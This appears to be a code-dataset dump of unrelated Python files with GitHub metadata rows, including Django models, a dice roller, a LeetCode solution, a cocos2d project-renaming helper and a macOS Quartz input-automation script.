from flxbindings.libexceptions import BindingsResolutionException class EntityConfigurationManager(object): """ """ def __init__(self): """""" self._label_map = dict() self._factory_map = dict() # self._entity_configs = dict() def resolve(self, label): """ """ if label in self._label_map: return self._label_map[label] elif label in self._factory_map: return self._factory_map[label] else: raise BindingsResolutionException("no binding exists for label \"%s\"" % label) def add_entity(self, entity): """ :type entity: flxbindings.domain.BaseEntity """ self.__map_entity_label(entity) self.__map_entity_factory(entity) def __map_entity_label(self, entity): """ :type entity: flxbindings.domain.BaseEntity """ if entity.label: if entity.label in self._label_map: raise KeyError(entity.label) # TODO: message self._label_map[entity.label] = entity def __map_entity_factory(self, entity): """ :type entity: flxbindings.domain.BaseEntity """ if entity.factory in self._factory_map: return self._factory_map[entity.factory] = entity
UTF-8
Python
false
false
2,012
6,116,033,453,002
d8de66b1dc396bc9596349bb0245a76720aaa396
8ddf88fb8409c4ae11af1c32bd67a0a5d030c1d9
/Sherlock/ProgramContests/SampleUpload.py
00a8c1938752eb617b6a32c58ad0e65fb825c3c6
[]
no_license
sherlocked/ProgrammingContest
https://github.com/sherlocked/ProgrammingContest
04e98fa9faf822626c30a0a7a1486e1c9bb941e4
576889764c8a9d071e906b37b513d0af39124f10
refs/heads/master
2020-04-27T08:25:22.242637
2013-04-25T21:16:28
2013-04-25T21:16:28
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
''' Created on Dec 8, 2012 @author: Amriga Maaplai ''' #from gp.fileupload import Storage
UTF-8
Python
false
false
2,013
7,842,610,284,504
8b43bb3ff1de6fd257bc71b363cf14522dc14ccd
67e35d177214b1ace45e7b112dee25bcd88a3047
/rppl/people/factories/person_factory.py
3c9a859b037efa5da0fcddf5ec9cfebb2a280d59
[]
no_license
RasidCetin/rosedu-people
https://github.com/RasidCetin/rosedu-people
c206a28a57a33cde9f131bcf9792f515e409265b
fc7272ca2926678d9a671144206ff2d4c0198342
refs/heads/master
2021-01-18T05:13:42.965634
2014-03-09T14:59:27
2014-03-09T14:59:27
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import factory from people.models import Person class PersonFactory(factory.django.DjangoModelFactory): FACTORY_FOR = Person description = factory.Sequence(lambda n: 'Author"s name is %sCetin%s ' % (n, n)); @factory.post_generation def organisations(self, create, extracted, **kwargs): if not create: return if extracted: for organisation in extracted: self.organisations.add(organisation)
UTF-8
Python
false
false
2,014
14,362,370,666,857
2696d03a96076cade6d8d06439844766ebf7caf4
927259b503861aefec77c3230aa37e85ec9b2bfe
/tools/project-creator/android/handle_project_files.py
941f245f36966a50b51853ce0f723c92743f58d2
[ "MIT" ]
permissive
nicolasgramlich/cocos2d-x
https://github.com/nicolasgramlich/cocos2d-x
325da9a33cd14abb91be5beac6ddef58434a5ae2
4bb9cb49bb2e0445e1f7fd2e75af8bd3a61275a2
refs/heads/master
2021-01-18T08:19:10.915735
2013-04-30T23:51:00
2013-04-30T23:51:00
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python # handle_project_files.py for Android # Copyright (c) 2012 cocos2d-x.org # Author: WangZhe # Android import os import shutil def handle_project_files(context): # determine proj_path proj_path = context["dst_project_path"] + "/proj.android/" # rename files and folders src_pkg = context["src_package_name"].split('.') dst_pkg = context["dst_package_name"].split('.') os.rename(proj_path + "src/" + src_pkg[0], proj_path + "src/" + dst_pkg[0]) os.rename(proj_path + "src/" + dst_pkg[0] + "/" + src_pkg[1], proj_path + "src/" + dst_pkg[0] + "/" + dst_pkg[1]) os.rename(proj_path + "src/" + dst_pkg[0] + "/" + dst_pkg[1] + "/" + src_pkg[2], proj_path + "src/" + dst_pkg[0] + "/" + dst_pkg[1] + "/" + dst_pkg[2]) os.rename(proj_path + "src/" + dst_pkg[0] + "/" + dst_pkg[1] + "/" + dst_pkg[2] + "/" + context["src_project_name"] + ".java", proj_path + "src/" + dst_pkg[0] + "/" + dst_pkg[1] + "/" + dst_pkg[2] + "/" + context["dst_project_name"] + ".java") dst_java_file_path = proj_path + "src/" + dst_pkg[0] + "/" + dst_pkg[1] + "/" + dst_pkg[2] + "/" + context["dst_project_name"] + ".java" # remove useless files. removes = [ "assets", "bin", "libs", "gen", "obj", ] for i in range(0, len(removes)): if (os.path.exists(proj_path + removes[i]) == True): shutil.rmtree(proj_path + removes[i]) # replaceString function is implemented in ../create-project.py import replaces # package_name should be replaced at first. Don't change this sequence replaces.replaceString(proj_path + "AndroidManifest.xml", context["src_package_name"], context["dst_package_name"]) replaces.replaceString(dst_java_file_path, context["src_package_name"], context["dst_package_name"]) replaces.replaceString(proj_path + ".project", context["src_project_name"], context["dst_project_name"]) replaces.replaceString(proj_path + "AndroidManifest.xml", context["src_project_name"], context["dst_project_name"]) replaces.replaceString(proj_path + "build.xml", context["src_project_name"], context["dst_project_name"]) replaces.replaceString(proj_path + "build_native.sh", context["src_project_name"], context["dst_project_name"]) replaces.replaceString(proj_path + "res/values/strings.xml",context["src_project_name"], context["dst_project_name"]) replaces.replaceString(dst_java_file_path, context["src_project_name"], context["dst_project_name"]) # done! print "proj.android : Done!"
UTF-8
Python
false
false
2,013
13,615,046,341,191
03480ed14153a83a963beed92f69826c2c786abd
61bad6e9e06fe604575333e7e34a9c52d7e0f3d2
/zigzag-conversion.py
c8451461d6f2061eba0cd3dc8d1cb77a90b1e5bd
[]
no_license
windy319/leetcode
https://github.com/windy319/leetcode
784ea765669922af64778ee00fc9df25bdb112b0
e68ecc5b8844b05838dc5458ab5bef4864840e01
refs/heads/master
2020-05-30T20:25:35.096164
2014-08-11T06:48:12
2014-08-11T06:48:12
22,828,083
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
class Solution: # @return a string def convert(self, s, nRows): if not s or not nRows: return "" result = [[] for x in xrange(nRows)] index,size = 0,len(s) while index < size: for x in xrange(nRows): if index < size: result[x].append(s[index]) index += 1 for x in xrange(nRows-2,0,-1): if index < size: result[x].append(s[index]) index += 1 s = "" for x in result: s += "".join(x) return s
UTF-8
Python
false
false
2,014
13,365,938,234,666
bae56289fb7d25e765dd14a81bf1d3a50747c5e8
1a529d499febba22cfbe89fada8d4863cbd737aa
/expenses/models.py
680682a71a16e75bbcbfd271b891e51afe5458f6
[]
no_license
DjangoGworls/billsplitter
https://github.com/DjangoGworls/billsplitter
60f0986d6623251153bf8572d6f694fddff9608a
4fb5ca38184bf22d30f4e461d445d3ea343aa18e
refs/heads/master
2021-05-27T13:54:54.750774
2014-04-11T22:48:31
2014-04-11T22:48:31
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.db import models from django.utils.translation import ugettext_lazy as _ from django.contrib.auth.models import User as DjangoUser from django.db.models import Sum, Count from django.core.urlresolvers import reverse import hashlib from time import mktime from datetime import date from decimal import Decimal class GroupManager(models.Manager): """ Augments the User model in django.contrib.auth with additional functionality: When retrieving the queryset, the manager automatically: - Applies select_related on the User model so its expenses are selected - Calculates the sum of the user's expenses and puts it in expense_total """ def get_query_set(self): return super(GroupManager, self).get_query_set().select_related('expenses','users').annotate(user_count=Count('users')) class Group(models.Model): """ Works in a similar fashion to the default Django groups, but without unique names, and with a creation date """ name = models.CharField(_('Group name'), max_length=80, unique=False) date_created = models.DateTimeField(_('Creation date'), auto_now_add=True) users = models.ManyToManyField(DjangoUser, related_name='expense_groups') # We must use the DjangoUser becaus proxies cannot see expense_groups users_can_edit = models.BooleanField(_("Members can edit each other's expenses"), default=True) objects = GroupManager() def __unicode__(self): return self.name @property def invite_code(self): timestamp = int(mktime(self.date_created.timetuple())*1000) digest = hashlib.sha1( str(timestamp) + str(self.pk) ).hexdigest() return str(digest)[2:12] @property def invite_url(self): return reverse('invite_detail', kwargs={'pk': self.pk, 'hash': self.invite_code}) def users_with_totals(self, current_user=None): user_list = [] users = self.users.prefetch_related('expenses').all() current_user_total = None for user in users: expenses = user.expenses.all().filter(group=self.pk).aggregate(total=Sum('amount')) user_dict = { 'user': user, 'total': expenses['total'] or Decimal('0') } #If we loop over the current user, add his total if current_user and current_user.pk == user.pk: current_user_total = expenses['total'] user_list.append(user_dict) #Set the relative totals if current_user_total: for user_dict in user_list: user_dict['relative_total'] = user_dict['total'] - current_user_total return user_list def get_absolute_url(self): return reverse('expense_list', kwargs={'group':self.pk}) class Meta: verbose_name = _('Group') verbose_name_plural = _('Groups') class Expense(models.Model): """ A basic expense. Each expense is made by one user, and is added to the user's total expenses """ title = models.CharField(verbose_name=_('Title'), max_length=255) description = models.TextField(verbose_name=_('Description'), blank=True) amount = models.DecimalField(max_digits=7, decimal_places=2, verbose_name=_('Amount')) date = models.DateField(default=date.today, verbose_name=_('Date')) user = models.ForeignKey(DjangoUser, verbose_name=_('Buyer'), related_name='expenses') group = models.ForeignKey(Group, verbose_name=_('Group')) def __unicode__(self): return self.title class Meta: ordering = ['-date','pk'] get_latest_by = 'date' verbose_name = _('Expense') verbose_name_plural = _('Expenses') class Refund(models.Model): """ A basic expense. Each expense is made by one user, and is added to the user's total expenses """ expense_from = models.OneToOneField(Expense, verbose_name=_('From'), related_name='refund_from') expense_to = models.OneToOneField(Expense, verbose_name=_('To'), related_name='refund_to') description = models.TextField(verbose_name=_('Notes'), blank=True) def __unicode__(self): return _("Refund to %s") % self.expense_to.user.get_full_name() def delete(self, *args, **kwargs): self.expense_from.delete() self.expense_to.delete() return super(Refund, self).delete(*args, **kwargs) class Meta: verbose_name = _('Refund') verbose_name_plural = _('Refunds')
UTF-8
Python
false
false
2,014
15,487,652,113,277
86f965e11f6e299af40e3c0676f999ba3bc76948
62abaae54d6303c770b42f03d0dfc10bab450f35
/lib/dices.py
ba9734e30b5e5785dc8adbd23e9bf57a90d8f988
[ "BSD-3-Clause" ]
permissive
acv/sr_tools
https://github.com/acv/sr_tools
1992befb816f2353bd56b71cb3d9a90ea0f56a35
83130a6dbb1b142fad5264f53e9efd3d80440109
refs/heads/master
2016-09-09T23:15:28.948310
2013-11-19T02:24:26
2013-11-19T02:24:26
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import random from math import ceil class DiceRoll(object): def __init__(self, roll, limit = None): self.raw_hits = 0 self.hits = 0 self.is_success = False self.is_glitch = False self.is_critical_glitch = False self.roll = roll num_dices = len(roll) num_hits = 0 num_glitches = 0 for result in roll: if result in (5, 6): num_hits += 1 elif result == 1: num_glitches += 1 if num_hits > 0: self.is_success = True self.raw_hits = num_hits self.hits = num_hits if limit is not None: if self.hits > limit: self.hits = limit if num_glitches >= ceil(float(num_dices) / 2.0) and len(roll) > 0: self.is_glitch = True if self.is_glitch and not self.is_success: self.is_critical_glitch = True class DiceRoller(object): def __init__(self, dices_to_roll, limit = None): self.dices_to_roll = dices_to_roll self.limit = limit self.random = random.SystemRandom() def _roll_dices(self, dices_to_roll): result = [] random_gen = self.random for i in xrange(dices_to_roll): result.append(random_gen.randint(1, 6)) return result def roll(self, modifier = 0): dices_to_roll = self.dices_to_roll + modifier return DiceRoll(self._roll_dices(dices_to_roll), self.limit)
UTF-8
Python
false
false
2,013
18,786,186,959,974
0944544e247b189907e7dd418d768652ba01e0d9
f9ff9335f91bd914ebeccd267218087cf5203f72
/longdiv.py
683b417f3707700d30f2c4f3cb6017f8ec3c8660
[]
no_license
Carjay/experiments
https://github.com/Carjay/experiments
2ce22ae192d41a96fc67417b7cf99693a8b0a1ed
5f2045816aa9a8cc0b9cb5a195c7a216c0ebe20f
refs/heads/master
2016-09-06T03:47:23.575718
2013-07-06T14:29:54
2013-07-06T14:29:54
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python # Copyright (C) 2013, Carsten Juttner <[email protected]> # there are no restrictions on copying or usage # feel free to explore # silly script to calculate a full (all numbers) division for two given # integer input numbers. # in case the result is periodic, it will display the period # (which is basically why I wrote it) import os import sys def usage(): print("Usage: %s <numerator> <denominator>" % os.path.basename(sys.argv[0])) def main(): if len(sys.argv) != 3: usage() return 1 try: num, denom = map(int,sys.argv[1:3]) except ValueError: print("Error:input arguments %s are invalid integer numbers" % ','.join(sys.argv[1:3])) return 1 if denom == 0: print("Error: denominator cannot be 0.") return 1 print ("calculating %d/%d" % (num,denom)) # (count, pos) of already returned remainders to get the period remdict = dict() fullnumlist = [] pos = 0 rem = 1 curnum = num while (rem != 0) and (remdict.get(rem,[0,0])[0] <= 1): div = curnum / denom rem = curnum % denom fullnumlist.append(str(div)) remdict[rem] = remdict.get(rem, [0,pos]) remdict[rem][0] += 1 # increment count pos += 1 if rem != 0: curnum = rem * 10 if len(fullnumlist) > 1: fullnumlist.insert(1, '.') number = ''.join(fullnumlist) sys.stdout.write(number) if rem != 0: period = ''.join(fullnumlist[remdict[rem][1]+2:]) print("... (periodic part %s (%d digit%s)" % (period, len(period), ['','s'][len(period)>1])) else: print("") try: main() except KeyboardInterrupt: pass
UTF-8
Python
false
false
2,013
5,815,385,724,007
21a2f2dd8ecf405e36915093b9b79e04d35c0cb4
800eb5aafa16187447c2c5882986629e85263c32
/stream/picking.py
13557cabebf14fa20dce292657b61697182bbced
[]
no_license
smadey/practice-python
https://github.com/smadey/practice-python
8b18fea777c7db3ed1d86307953dd89a27c69c6c
09f6dcf8b05e54db40394db36088027786c87669
refs/heads/master
2021-01-15T11:48:47.623179
2014-07-30T10:24:57
2014-07-30T10:24:57
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import pickle showlistfile = 'shoplist.data' showlist = ['apple', 'mango', 'carrot'] f = open(showlistfile, 'wb') pickle.dump(showlist, f) f.close() del showlist f = open(showlistfile, 'rb') storedlist = pickle.load(f) print(storedlist)
UTF-8
Python
false
false
2,014
17,617,955,872,390
a9d87004272f1fc3006230a8b2f8612f910c1bd6
47ebaa434e78c396c4e6baa14f0b78073f08a549
/tags/Release_12_9_9/server/release/scripts/skills/itemid.py
461cb56d57f1032a89bdde0182db170b676cd44b
[]
no_license
BackupTheBerlios/wolfpack-svn
https://github.com/BackupTheBerlios/wolfpack-svn
d0730dc59b6c78c6b517702e3825dd98410c2afd
4f738947dd076479af3db0251fb040cd665544d0
refs/heads/master
2021-10-13T13:52:36.548015
2013-11-01T01:16:57
2013-11-01T01:16:57
40,748,157
1
2
null
false
2021-09-30T04:28:19
2015-08-15T05:35:25
2019-02-28T03:17:26
2015-08-15T05:36:10
41,308
1
1
1
C++
false
false
################################################################# # ) (\_ # WOLFPACK 13.0.0 Scripts # # (( _/{ "-; # Created by: Viper # # )).-' {{ ;'` # Revised by: # # ( ( ;._ \\ ctr # Last Modification: Created # ################################################################# from wolfpack.consts import * from wolfpack.utilities import * from wolfpack.time import * import wolfpack import skills ITEMID_DELAY = 1000 def itemid(char, skill): socket = char.socket if socket.hastag('skill_delay'): if wolfpack.time.currenttime() < socket.gettag('skill_delay'): socket.clilocmessage(500118) return 1 else: socket.deltag('skill_delay') socket.clilocmessage(500343) socket.attachtarget("skills.itemid.response") return 1 def response(char, args, target): socket = char.socket socket.settag('skill_delay', int( wolfpack.time.currenttime() + ITEMID_DELAY ) ) # Identify an item and send the buy and sellprice. if target.item: if not char.canreach(target.item, 4): socket.clilocmessage(500344) return if not char.checkskill(ITEMID, 0, 1000): socket.clilocmessage(500353) return # Identify the item if target.item.hastag('unidentified'): socket.sysmessage('You are able to identify the use of this item!') target.item.deltag('unidentified') target.item.resendtooltip() # Display the buyprice if target.item.buyprice != 0: socket.sysmessage("You could probably buy this for %u gold." % target.item.buyprice) else: socket.sysmessage("You don't think that anyone would sell this.") # Display the sellprice if target.item.sellprice != 0: socket.sysmessage("You could probably sell this for %u gold." % target.item.sellprice) else: socket.sysmessage("You don't think anyone would buy this.") elif target.char: if not char.canreach(target.char, 4): socket.clilocmessage(500344) return char.showname(socket) else: socket.clilocmessage(500353) def onLoad(): skills.register(ITEMID, itemid)
UTF-8
Python
false
false
2,013
11,587,821,771,478
fb7d08fbf9a27f2eaab5db8ecbd90e34e20a8c62
bceb590251b6cb091da4a0a72562e42f092ccb57
/python-saved-var/health-fitness/workspace.py
40c6e5f5a5551a816cac7579caaab8f18289880b
[]
no_license
ywf1215/emerging
https://github.com/ywf1215/emerging
dab27797ec3191077b1bff93edd9c957515a48d5
567db06d2a20d0b9f1436afdf00448e397a44796
refs/heads/master
2015-08-13T08:10:03
2014-09-05T02:12:28
2014-09-05T02:12:28
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# execfile(PATH_SAVE_VAR+"health-fitness/workspace.py"); from datetime import datetime, date, time, timedelta #set workspace variables workspace = 'health-fitness'; date_from = datetime(2011,1,1); date_to = None; #datetime(2011,6,25); from collections import defaultdict; ws_options=defaultdict(str); ws_options['category']='Personal Fitness'; ws_options['include_verb']=False; ws_options['show_debug']=True; ws_options['taxonomy']=[('Product', 'Product'), ('Sport', 'Sport'), ('Fitness', 'Fitness Issue'), ('Company', 'Company Name'), ('Person', 'Person Name'), ('Date', 'Date'), ('Event', 'Event'), ]; ws_options['mapclass']={'Product':'Product', 'Sport':'Sport', 'Fitness':'Fitness', }; PATH_VAR_WORKSPACE="health-fitness/"; PATH_DATA_SUBDIR="health-fitness/"; #set list of files import os; allfiles=os.listdir(PATH_DATA_COLLECTION+PATH_DATA_SUBDIR); import re; blog_files=[ ('nih-researchmatters.txt', 'Nih-ResearchMatters'), ('hhs-news.txt', 'HHS'), ('fitstudio.com.txt', 'FitStudio'), ('womenshealthmag.com.txt', 'WOMENSHEALTHMAG.COM'), ('menshealth.com.txt', 'MENSHEALTH.COM'), ('fitness.com.txt', 'FITNESS.COM'), ('acefitness.org.txt', 'ACEFITNESS.ORG'), ('ehow.com-running-and-jogging.txt', 'EHOW.COM'), ('ehow.com-ab-and-stomach-exercises.txt', 'EHOW.COM'), ('tqn.com-exercise.txt', '0.TQN.COM'), ('tqn.com-walking.txt', '0.TQN.COM'), ('tqn.com-weightloss.txt', '0.TQN.COM'), ('healthhype.com.txt', 'HEALTHTYPE.COM'), ('HealthlineNews.txt', 'HealthlineNews.feedburner.com'), ('tqn.com-nutrition.txt', '0.TQN.COM'), ('tqn.com-running.txt', '0.TQN.COM'), ('tqn.com-heartdisease.txt', '0.TQN.COM'), ('about.com-yoga.txt', 'ABOUT.COM'), ('about.com-yoga-t2.txt', 'ABOUT.COM'), ('about.com-yoga-p2.txt', 'ABOUT.COM'), ('goarticles.com-Health_Weight_Loss.txt', 'GOARTICLES.COM'), ('goarticles.com-Health_Nutrition.txt', 'GOARTICLES.COM'), ('goarticles.com-Health_Medicine.txt', 'GOARTICLES.COM'), ('goarticles.com-Health_Quit_Smoking.txt', 'GOARTICLES.COM'), ]; blog_query=None;
UTF-8
Python
false
false
2,014
12,635,793,812,219
2d5343315bc1d6b66417d38144fa1ef018a3273b
8bf59e6272f2bcbefa36dca8792666800f9127f8
/quartz_event.py
936b27b00153db6edf33c2ae3980fabe441e82a3
[]
no_license
vbmygassi/KeyboardEvent
https://github.com/vbmygassi/KeyboardEvent
5c92a63323472c7ca41789b639526160c774cf7e
43969f61017f634bb5f220a27ea9815ad13dc992
refs/heads/master
2020-04-01T09:42:30.314625
2013-12-18T17:13:30
2013-12-18T17:13:30
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python #coding=utf-8 ''' http://stackoverflow.com/questions/1817628/clicking-the-mouse-down-to-drag-objects-on-mac http://stackoverflow.com/questions/18027342/how-can-i-call-cgeventkeyboardsetunicodestring-from-python http://stackoverflow.com/questions/1918841/how-to-convert-ascii-character-to-cgkeycode ''' ''' case 0: return @"a"; case 1: return @"s"; case 2: return @"d"; case 3: return @"f"; case 4: return @"h"; case 5: return @"g"; case 6: return @"z"; case 7: return @"x"; case 8: return @"c"; case 9: return @"v"; // what is 10? case 11: return @"b"; case 12: return @"q"; case 13: return @"w"; case 14: return @"e"; case 15: return @"r"; case 16: return @"y"; case 17: return @"t"; case 18: return @"1"; case 19: return @"2"; case 20: return @"3"; case 21: return @"4"; case 22: return @"6"; case 23: return @"5"; case 24: return @"="; case 25: return @"9"; case 26: return @"7"; case 27: return @"-"; case 28: return @"8"; case 29: return @"0"; case 30: return @"]"; case 31: return @"o"; case 32: return @"u"; case 33: return @"["; case 34: return @"i"; case 35: return @"p"; case 36: return @"RETURN"; case 37: return @"l"; case 38: return @"j"; case 39: return @"'"; case 40: return @"k"; case 41: return @";"; case 42: return @"\\"; case 43: return @","; case 44: return @"/"; case 45: return @"n"; case 46: return @"m"; case 47: return @"."; case 48: return @"TAB"; case 49: return @"SPACE"; case 50: return @"`"; case 51: return @"DELETE"; case 52: return @"ENTER"; case 53: return @"ESCAPE"; // some more missing codes abound, reserved I presume, but it would // have been helpful for Apple to have a document with them all listed case 65: return @"."; case 67: return @"*"; case 69: return @"+"; case 71: return @"CLEAR"; case 75: return @"/"; case 76: return @"ENTER"; // numberpad on full kbd case 78: return @"-"; case 81: return @"="; case 82: return @"0"; case 83: return @"1"; case 84: return @"2"; case 85: return @"3"; case 86: return @"4"; case 87: return @"5"; case 88: return @"6"; case 89: return @"7"; case 91: return @"8"; case 92: return @"9"; case 96: return @"F5"; case 97: return @"F6"; case 98: return @"F7"; case 99: return @"F3"; case 100: return @"F8"; case 101: return @"F9"; case 103: return @"F11"; case 105: return @"F13"; case 107: return @"F14"; case 109: return @"F10"; case 111: return @"F12"; case 113: return @"F15"; case 114: return @"HELP"; case 115: return @"HOME"; case 116: return @"PGUP"; case 117: return @"DELETE"; // full keyboard right side numberpad case 118: return @"F4"; case 119: return @"END"; case 120: return @"F2"; case 121: return @"PGDN"; case 122: return @"F1"; case 123: return @"LEFT"; case 124: return @"RIGHT"; case 125: return @"DOWN"; case 126: return @"UP"; + (CGKeyCode)keyCodeFormKeyString:(NSString *)keyString { if ([keyString isEqualToString:@"a"]) return 0; if ([keyString isEqualToString:@"s"]) return 1; if ([keyString isEqualToString:@"d"]) return 2; if ([keyString isEqualToString:@"f"]) return 3; if ([keyString isEqualToString:@"h"]) return 4; if ([keyString isEqualToString:@"g"]) return 5; if ([keyString isEqualToString:@"z"]) return 6; if ([keyString isEqualToString:@"x"]) return 7; if ([keyString isEqualToString:@"c"]) return 8; if ([keyString isEqualToString:@"v"]) return 9; // what is 10? if ([keyString isEqualToString:@"b"]) return 11; if ([keyString isEqualToString:@"q"]) return 12; if ([keyString isEqualToString:@"w"]) return 13; if ([keyString isEqualToString:@"e"]) return 14; if ([keyString isEqualToString:@"r"]) return 15; if ([keyString isEqualToString:@"y"]) return 16; if ([keyString isEqualToString:@"t"]) return 17; if ([keyString isEqualToString:@"1"]) return 18; if ([keyString isEqualToString:@"2"]) return 19; if ([keyString isEqualToString:@"3"]) return 20; if ([keyString isEqualToString:@"4"]) return 21; if ([keyString isEqualToString:@"6"]) return 22; if ([keyString isEqualToString:@"5"]) return 23; if ([keyString isEqualToString:@"="]) return 24; if ([keyString isEqualToString:@"9"]) return 25; if ([keyString isEqualToString:@"7"]) return 26; if ([keyString isEqualToString:@"-"]) return 27; if ([keyString isEqualToString:@"8"]) return 28; if ([keyString isEqualToString:@"0"]) return 29; if ([keyString isEqualToString:@"]"]) return 30; if ([keyString isEqualToString:@"o"]) return 31; if ([keyString isEqualToString:@"u"]) return 32; if ([keyString isEqualToString:@"["]) return 33; if ([keyString isEqualToString:@"i"]) return 34; if ([keyString isEqualToString:@"p"]) return 35; if ([keyString isEqualToString:@"RETURN"]) return 36; if ([keyString isEqualToString:@"l"]) return 37; if ([keyString isEqualToString:@"j"]) return 38; if ([keyString isEqualToString:@"'"]) return 39; if ([keyString isEqualToString:@"k"]) return 40; if ([keyString isEqualToString:@";"]) return 41; if ([keyString isEqualToString:@"\\"]) return 42; if ([keyString isEqualToString:@","]) return 43; if ([keyString isEqualToString:@"/"]) return 44; if ([keyString isEqualToString:@"n"]) return 45; if ([keyString isEqualToString:@"m"]) return 46; if ([keyString isEqualToString:@"."]) return 47; if ([keyString isEqualToString:@"TAB"]) return 48; if ([keyString isEqualToString:@"SPACE"]) return 49; if ([keyString isEqualToString:@"`"]) return 50; if ([keyString isEqualToString:@"DELETE"]) return 51; if ([keyString isEqualToString:@"ENTER"]) return 52; if ([keyString isEqualToString:@"ESCAPE"]) return 53; // some more missing codes abound, reserved I presume, but it would // have been helpful for Apple to have a document with them all listed if ([keyString isEqualToString:@"."]) return 65; if ([keyString isEqualToString:@"*"]) return 67; if ([keyString isEqualToString:@"+"]) return 69; if ([keyString isEqualToString:@"CLEAR"]) return 71; if ([keyString isEqualToString:@"/"]) return 75; if ([keyString isEqualToString:@"ENTER"]) return 76; // numberpad on full kbd if ([keyString isEqualToString:@"="]) return 78; if ([keyString isEqualToString:@"="]) return 81; if ([keyString isEqualToString:@"0"]) return 82; if ([keyString isEqualToString:@"1"]) return 83; if ([keyString isEqualToString:@"2"]) return 84; if ([keyString isEqualToString:@"3"]) return 85; if ([keyString isEqualToString:@"4"]) return 86; if ([keyString isEqualToString:@"5"]) return 87; if ([keyString isEqualToString:@"6"]) return 88; if ([keyString isEqualToString:@"7"]) return 89; if ([keyString isEqualToString:@"8"]) return 91; if ([keyString isEqualToString:@"9"]) return 92; if ([keyString isEqualToString:@"F5"]) return 96; if ([keyString isEqualToString:@"F6"]) return 97; if ([keyString isEqualToString:@"F7"]) return 98; if ([keyString isEqualToString:@"F3"]) return 99; if ([keyString isEqualToString:@"F8"]) return 100; if ([keyString isEqualToString:@"F9"]) return 101; if ([keyString isEqualToString:@"F11"]) return 103; if ([keyString isEqualToString:@"F13"]) return 105; if ([keyString isEqualToString:@"F14"]) return 107; if ([keyString isEqualToString:@"F10"]) return 109; if ([keyString isEqualToString:@"F12"]) return 111; if ([keyString isEqualToString:@"F15"]) return 113; if ([keyString isEqualToString:@"HELP"]) return 114; if ([keyString isEqualToString:@"HOME"]) return 115; if ([keyString isEqualToString:@"PGUP"]) return 116; if ([keyString isEqualToString:@"DELETE"]) return 117; if ([keyString isEqualToString:@"F4"]) return 118; if ([keyString isEqualToString:@"END"]) return 119; if ([keyString isEqualToString:@"F2"]) return 120; if ([keyString isEqualToString:@"PGDN"]) return 121; if ([keyString isEqualToString:@"F1"]) return 122; if ([keyString isEqualToString:@"LEFT"]) return 123; if ([keyString isEqualToString:@"RIGHT"]) return 124; if ([keyString isEqualToString:@"DOWN"]) return 125; if ([keyString isEqualToString:@"UP"]) return 126; ''' import sys, time from Quartz.CoreGraphics import * def postMClickDownE(x, y): e = CGEventCreateMouseEvent(None, kCGEventLeftMouseDown, (x, y), kCGMouseButtonLeft); CGEventPost(kCGHIDEventTap, e); time.sleep(0.1); def postMClickUpE(x, y): e = CGEventCreateMouseEvent(None, kCGEventLeftMouseUp, (x, y), kCGMouseButtonLeft); CGEventPost(kCGHIDEventTap, e); time.sleep(0.1); def postMDragggedE(x, y): e = CGEventCreateMouseEvent(None, kCGEventLeftMouseDragged, (x, y), kCGMouseButtonLeft); CGEventPost(kCGHIDEventTap, e); time.sleep(0.1); def postMMovedE(x, y): e = CGEventCreateMouseEvent(None, kCGEventMouseMoved, (x, y), kCGMouseButtonLeft); CGEventPost(kCGHIDEventTap, e); time.sleep(0.1); def postKeyE(key): e = CGEventCreateKeyboardEvent(None, 0, True); CGEventKeyboardSetUnicodeString(e, len(key), map(ord, key)); # CGEventSetFlags(e, kCGEventFlagMaskShift); CGEventPost(kCGHIDEventTap, e); time.sleep(0.1); def postKeycodeE(code): e = CGEventCreateKeyboardEvent(None, code, True); CGEventPost(kCGHIDEventTap, e); e = CGEventCreateKeyboardEvent(None, code, False); CGEventPost(kCGHIDEventTap, e); time.sleep(0.1); def postSearchSCE(): e = CGEventCreateKeyboardEvent(None, 49, True); CGEventSetFlags(e, kCGEventFlagMaskCommand); CGEventPost(kCGHIDEventTap, e); e = CGEventCreateKeyboardEvent(None, 49, False); CGEventPost(kCGHIDEventTap, e); time.sleep(0.1); def postGoToFolderSCE(): e = CGEventCreateKeyboardEvent(None, 5, True); CGEventSetFlags(e, kCGEventFlagMaskShift|kCGEventFlagMaskCommand); CGEventPost(kCGHIDEventTap, e); e = CGEventCreateKeyboardEvent(None, 5, False); CGEventPost(kCGHIDEventTap, e); time.sleep(0.1); # stores mouse position e = CGEventCreate(None); pos = CGEventGetLocation(e); # wild wild click postMMovedE(0, 2000); postMClickDownE(0, 2000); postMClickUpE(0, 2000); time.sleep(1); # posts go to folder shortcut event postGoToFolderSCE(); # easy time.sleep(1); # types /Users/ postKeyE(u'/'); postKeyE(u'U'); postKeyE(u's'); postKeyE(u'e'); postKeyE(u'r'); postKeyE(u's'); postKeyE(u'/'); # enters [ENTER] postKeycodeE(52); # easy time.sleep(1); ''' postMMovedE(10, 10); postMClickDownE(10, 10); postMDragggedE(20, 20); postMClickUpE(10, 10); ''' # resets mouse position postMMovedE(pos.x, pos.y); # postMClickDownE(pos.x, pos.y); # opens spotlight ''' postSearchSCE(); # easy time.sleep(1); # types 'ülfe!' postKeyE(u'ü'); time.sleep(1); postKeyE(u'l'); time.sleep(1); postKeyE(u'f'); time.sleep(1); postKeyE(u'e'); time.sleep(1); postKeyE(u'!'); time.sleep(3); # enters [ENTER] postKeycodeE(52); '''
UTF-8
Python
false
false
2,013
10,677,288,714,006
b13481724f8f3dfd57d097827bcbef7da13a1353
c7cdc74546e8de5c35cd739cd88b24f3adee86a1
/src/crawler/downloader_thread.py
3941ced14ca19b5df143abeed968e74d9d907850
[]
no_license
UIKit0/objcrawler
https://github.com/UIKit0/objcrawler
d4f7210ed5670d52db6f6fc2d512a46f997771cd
019fe44a414a8ebdf079a892b39f51cccb2a9d4a
refs/heads/master
2020-12-31T03:35:06.684726
2011-11-07T12:43:35
2011-11-07T12:43:35
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
